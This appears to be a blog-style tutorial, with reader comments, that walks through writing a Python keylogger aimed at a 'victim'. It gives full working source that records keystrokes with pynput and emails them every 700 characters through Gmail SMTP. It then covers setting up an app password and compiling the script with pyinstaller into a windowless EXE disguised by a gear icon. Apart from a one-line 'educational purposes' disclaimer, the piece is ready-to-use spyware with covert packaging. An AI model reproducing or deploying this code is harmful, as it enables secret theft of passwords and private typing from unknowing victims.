Keylogger in Python
Writing a Keylogger in Python
In this article, I will be guiding you to write your own keylogger in Python that will capture the victim key keystrokes & will email them directly to your mailbox.
Disclaimer: This is for educational purposes only, as I am not promoting any type of illegal activity.
What we will discuss:
Environment Step:
To write and run your Keylogger, you should have these things installed.
Let’s dig in:
Open your Windows cmd as an administrator
Google “Python”
Or click on this link to go directly to the download page
Installing necessary libraries:
install pip install pynput
pip install pyinstaller
First install pip install pynput
pip install pyinstaller
Downloading & Installing IDE:
We will be using the Sublime Text editor
First, go to Google & search for Sublime Text editor
Or download it from this link: Download - Sublime Text
Simply install it as you install other applications.
Writing Python Code:
Check my GitHub repo for downloading the code:
from pynput.keyboard import Listener
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
# Global variable to store typed characters
captured_keys = ""
def handle_key_press(key_event):
"""
Converts and stores pressed keys into a global string,
sending them via email after a specified length.
"""
global captured_keys
# Convert key event to string and remove quotes
key_str = str(key_event).replace("'", "")
# Replace special keys with readable characters
special_keys = {
'Key.space': ' ',
'Key.enter': '\n',
'Key.shift': '',
'Key.backspace': '<'
}
key_str = special_keys.get(key_str, key_str)
# Append processed key to the global log
captured_keys += key_str
# Trigger email sending after every 700 characters
if len(captured_keys) >= 700:
transmit_logs_via_email(captured_keys)
captured_keys = "" # Reset log after sending
def transmit_logs_via_email(log_data):
"""
Sends the captured keystrokes to an email address.
"""
sender_email = "YourGmail@gmail.com"
recipient_email = "YourGmail@gmail.com"
email_password = "your_app_password_here" # Use app password from https://myaccount.google.com/apppasswords
# Create MIME message
email_msg = MIMEMultipart()
email_msg['From'] = sender_email
email_msg['To'] = recipient_email
email_msg['Subject'] = "Captured Keystrokes Log"
email_msg.attach(MIMEText(log_data, 'plain'))
# Connect and send email using Gmail SMTP
try:
smtp_server = smtplib.SMTP('smtp.gmail.com', 587)
smtp_server.starttls()
smtp_server.login(sender_email, email_password)
smtp_server.sendmail(sender_email, recipient_email, email_msg.as_string())
smtp_server.quit()
except Exception as e:
print(f"[!] Error sending email: {e}")
# Start the keylogger listener
if __name__ == "__main__":
with Listener(on_press=handle_key_press) as listener:
listener.join()
Downloading an icon for our keylogger
Go to this site: Free Icons PNG, ICO, ICNS, and SVG
Search for a gear icon or another icon of your choice
Download it in icon format
Go to the Security Tab
Apply 2-Step Authentication
Then search for app passwords
Retype your Google password
Write an app name of your choice, you can write it any custom name
You will see an app password & this can be used to replace the placeholder when you download my code from the above repo link.
Copy the app password
Open the code in Sublime or any text editor
Place the code here
Write your email in the sender & the recipient email
Converting our code to EXE
Place the Python File and the icon in the same folder
Open PowerShell in the same directory and type the following code:
pyinstaller -w -F keylogger.py --icon=icon.ico
Our Keylogger is ready
Now visiting the dummy login page.
& entering dummy credentials
You will see an email
Follow & repost this
Definitely worth reading
Great job, Umer! Really impressed. 👏
Wow MashaAllah 😍, thanks for sharing umer bhai